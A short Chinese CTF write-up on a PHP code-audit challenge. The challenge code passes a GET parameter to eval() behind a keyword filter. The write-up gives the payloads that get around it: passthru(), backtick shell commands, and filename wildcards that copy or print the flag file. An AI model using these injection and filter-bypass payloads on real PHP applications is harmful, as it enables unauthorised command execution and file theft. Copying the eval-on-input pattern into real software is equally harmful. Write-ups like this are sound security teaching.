1. 代码审计

      1. <?php
      2. error_reporting(0);
      3. if(isset($_GET['c'])){
      4. $c = $_GET['c'];
      5. if(!preg_match("/flag|system|php/i", $c)){
      6. eval($c);
      7. }
      8. //这里对system/php增加了过滤
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 考虑其他系统执行函数进行绕过,还可以用反引号作为系统命令

    ?c=passthru('ls');
    
    #反引号作为系统命令
    ?c=`cp fla?.??? 1.txt`;
    

    image-20210608185410026.png

    1. 因为过滤了php,flag,这里用通配符来,查看flag
    ?c=passthru('cat fla*');
    

    image-20210608190019867.png